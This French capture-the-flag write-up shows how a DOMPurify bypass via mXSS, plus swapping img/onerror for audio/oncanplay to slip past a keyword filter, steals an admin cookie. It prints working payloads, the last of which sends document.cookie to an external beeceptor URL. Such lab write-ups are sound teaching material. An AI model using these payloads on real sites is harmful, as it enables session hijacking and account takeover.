Theory of Browser Evolution

Le contexte

On a une page Web codée en javascript.
On sait que l’on doit récupérer le cookie de l’admin.
On se penche donc sur du XSS voir du mXSS pour ceux qui connaissent déjà.

Première analyse

En analysant la page Web on se rend rapidement compte que 2 fonctions vont nous rendre la tâche “difficile” :

DomPurify.sanitize

La théorie

Si vous connaissez les failles mXSS, vous savez surement déjà comment passer cet élément, sinon une recherche sur le net vous amène rapidement à cet article :
https://research.securitum.com/dompurify-bypass-using-mxss/

Si on est curieux et qu’on ne connait pas le mXSS, on peut aussi se documenter sur le mXSS avec ce pdf : https://cure53.de/fp170.pdf

Attention : Cette faille est une faille navigateur, elle ne fonctionnera pas sur tous les navigateur, l’article parle de Chrome, essayons sur Chrome !!*

La pratique

Grace à l’article présenté plus haut, on sait qu’il nous faut passer un message de ce type :
<svg></p><style><a id="</style><img src onerror=alert('DOMParser OK')>">
pour la variable layout.

Pour essayer notre bypass, on peut enregistrer le fichier html en local (T:\sigsegv2.html pour moi) et commenter la ligne clean = nuclearSanitizer(clean); afin de ne pas déclencher la seconde vérification.
Essayons cette requête : file:///T:/sigsegv2.html?layout=<svg></p><style><a id="</style><img src onerror=alert('DOMParser OK')>">
Magie, une belle fenêtre nous indique “DomParser OK”

nuclearSanitizer

La Théorie

Une analyse rapide de la fonction nous fait comprendre que les balises et events suivants sont interdit :

Pas de chance nous en utilisons deux dans notre exemple précédent (img et onerror).
Nous devons donc trouver des mots clés ne déclenchant pas la fonction, il doit surement en exister beaucoup, je suis, pour ma part, parti sur la balise “audio” pour remplacer “img” et l’event “oncanplay” pour remplacer le “onerror”.

Note : Pour que l’event oncanplay se déclenche, nous devons lui passer un fichier valide, il en existe des tas sur le net, j’ai pris l’exemple du w3schools de la balise audio.

La pratique

En reprenant notre ancien payload, nous arrivons à celui-ci :
<svg></p><style><a id="</style><audio src=https://www.w3schools.com/html/horse.mp3 oncanplay=alert('DomParser + nuclearSanitizer OK')>">

Essayons notre requête : file:///T:/sigsegv2.html?layout=<svg></p><style><a id="</style><audio src=https://www.w3schools.com/html/horse.mp3 oncanplay=alert('DomParser + nuclearSanitizer OK')>">
Magie, une belle fenêtre nous indique “DomParser + nuclearSanitizer OK”

La théorie

Pour récupérer un cookie en java-script, il faut utiliser la variabledocument.cookie.

Afficher le cookie avec la fonction alert est certes une satisfaction personnelle mais ne nous sert à rien pour la résolution, il faut le récupérer.
Pour cela nous devons l’envoyer sur une page que nous contrôlons.
Si vous n’avez pas de serveur sous la main, vous pouvez utiliser le site https://beeceptor.com/, une console vous indiquera toutes les requêtes faites sur une URL de votre choix.

Enfin, pour la redirection, nous utliserons la fonction window.location.assign du javascript.

La pratique

Reprenons notre payload et remplaçons le alert par une redirection vers une URL générée sur le site beeceptor :
<svg></p><style><a id="</style><audio src=https://www.w3schools.com/html/horse.mp3 oncanplay=window.location.assign('https://asterix45.free.beeceptor.com/?cookie='+document.cookie)>">

En essayant sur la page de test,
file:///T:/sigsegv2.html?layout=<svg></p><style><a id="</style><audio src=https://www.w3schools.com/html/horse.mp3 oncanplay=window.location.assign('https://asterix45.free.beeceptor.com/?cookie='+document.cookie)>">
Nous obtenons un retour sur beeceptor (si ce retour est vide, c’est que vous ne passez pas de cookie en appelant T:\sigsegv2.html).

Conclusion

Il vous suffit de passer la requête générée à la page de validation pour obtenir le FLAG.